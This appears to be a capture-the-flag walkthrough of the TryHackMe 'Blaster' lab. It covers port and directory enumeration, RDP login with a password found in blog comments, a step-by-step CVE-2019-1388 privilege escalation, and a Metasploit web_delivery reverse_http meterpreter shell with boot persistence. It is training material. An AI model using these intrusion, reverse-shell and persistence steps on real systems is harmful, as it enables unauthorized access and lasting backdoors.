TryHackMe — Blaster Walkthrough

Logo for Blaster Room

Task 1: Mission Start!

Throughout this room, we’ll be looking at alternative modes of exploitation without the use of Metasploit or really exploitation tools in general beyond nmap and dirbuster. To wrap up the room, we’ll be pivoting back to these tools for persistence and additional steps we can take. Without further delay, let’s deploy our target machine!

This room is a remix of my previous room Retro with some complications I added to that room having been removed. For increased difficulty and an exercise in patience, check that room out after this. In addition, this room is the sequel to Ice. — DarkStar7471

Task 2: Activate Forward Scanners and Launch Proton Torpedoes

Now that we’ve launched our target, let’s perform some basic enumeration of the services running on it!

1. How many ports are open on our target system?

Scan the target IP using Nmap to identify any open ports and the services running on them.

nmap -A -p- -Pn 10.10.237.232 -T5

It appears that a web server is operational on port 80, while Remote Desktop Protocol (RDP) is running on port 3389. Make sure to record all the information obtained from the enumeration phase.

2. Looks like there’s a web server running, what is the title of the page we discover when browsing to it?

Upon accessing the webpage on port 80, it appears that Internet Information Services (IIS) is running on the Windows Server. Next, let’s perform directory fuzzing using gobuster.

3. Interesting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?

Lets use gobuster to fuzz this site and find hidden directories.

gobuster dir -u http://<replace-target-ip>:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64 -o gobuster-scan

It seems that there is a directoey named ‘retro’. Let’s explore what it contains.

4. Navigate to our discovered hidden directory, what potential username do we discover?

Upon navigating (http://<target-ip>/retro) and exploring the ‘retro’ directory, we discovered a username: ‘Wade’. This could potentially be our usename.

5. Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?

While browsing through the blog comments, I came across a post by Wade on ‘Ready Player One.’ He expressed his excitement for the movie adaptation of his favorite book, mentioning a connection to the main character, Wade. In another comment on the same page, Wade left a note for himself: ‘Leaving myself a note here just in case I forget how to spell it: parzival.’
Therefore, it’s likely that the password is ‘parzival.’

6. Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it’s contents?

For this we are going to use ‘remmina’ tool. You can download it using
‘sudo apt install remmina’

Info: Remmina is a flexible remote desktop client for Linux that supports various protocols like RDP, VNC, and SSH. It provides a user-friendly interface for easy management of remote connections, catering to both users and system administrators.

Launch it by running ‘remmina’ in the terminal. It will open a Remmina Remote Desktop Client. Enter the target IP (the ip you were assigned after clicking on ‘Start Machine’) while RDP selected.

Click “Yes” to accept the certificates. Info: Certificates are the used to prove the ownership of a public key. Certificates serve to establish a secure and encrypted connection between your client (like Remmina) and the remote server. They help verify the identity of the server to ensure that you are connecting to the correct machine and not a malicious one

Finally, enter the credentials you discovered in the sub-task 4 and 5.

Now go and open the user.txt to get the flag.

Task 3: Breaching the Control Room

1. When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?

I tried checking the history of the internet explorer but I wasn’t able to find anything as I was only able to see ‘Today’s’ history and none of the previous days.

I figured out that there a application on the desktop so tried searching what that application meant and got to know that it is related with exploit.

The exploit is for Windows Privilege escalation. With this vulnerabiltity we can get root access. Read more about this vulnerability here.

The CVE is: CVE-2019–1388

2. Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?

3. Research vulnerability and how to exploit it. Exploit it now to gain an elevated terminal!

I watched this video to understand the steps: https://www.youtube.com/watch?v=3BQKpPNlTSo

Get Atharva’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Run the hhupd application as administrator.

Click on show information…

Click on the VeriSign Commercial Software Publishers CA

Close the dialog boxes and go to internet explorer and save the file.

Click on OK and continue.

For the filename, enter:

C:\Windows\System32

Click on save.

In the folder search area, add cmd.exe after C:\Windows\System32 and press enter.

4. Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?

5. Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!

Task 4: Adoption into the Collective

1. Return to your attacker machine for this next bit. Since we know our victim machine is running Windows Defender, let’s go ahead and try a different method of payload delivery! For this, we’ll be using the script web delivery exploit within Metasploit. Launch Metasploit now and select ‘exploit/multi/script/web_delivery’ for use.

Launch metasploit:

msfconsole

Set the module

use exploit/multi/script/web_delivery

2. First, let’s set the target to PSH (PowerShell). Which target number is PSH?

Use ‘show options’ to see the options we need to set before running the exploit.

Then run ‘show targets’ to check for the target number we want to use (in our case it is PSH).

3. After setting your payload, set your lhost and lport accordingly such that you know which port the MSF web server is going to run on and that it’ll be running on the TryHackMe network.

4. Finally, let’s set our payload. In this case, we’ll be using a simple reverse HTTP payload. Do this now with the command: ‘set payload windows/meterpreter/reverse_http’. Following this, launch the attack as a job with the command ‘run -j’.

5. Return to the terminal we spawned with our exploit. In this terminal, paste the command output by Metasploit after the job was launched. In this case, I’ve found it particularly helpful to host a simple python web server (python3 -m http.server) and host the command in a text file as copy and paste between the machines won’t always work. Once you’ve run this command, return to our attacker machine and note that our reverse shell has spawned.

After pasting the command in the command prompt on the exploited windows machine, you will get a meterpreter shell.

Access the meterpreter session:

6. Last but certainly not least, let’s look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don’t include anything beyond the base command and the option for boot startup.

I wasn’t able to run the ‘run persistence -X’ on my meterpreter shell due to the error stating ‘The specified meterpreter session script could not be found: persistence’. But the correct answer is ‘run persistence -X’.

‘exploit/windows/local/persistence’ wasn’t working as well so I had to switch to Attack Box and try it there. On the attack box, I managed to install the backdoor using the ‘exploit/windows/local/persistence’ module. Only SESSION has to be set. Boom! You have full control over the remote now.

Wrapping it up

Thank you for taking the time to read my guide on completing the Ice room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on LinkedIn.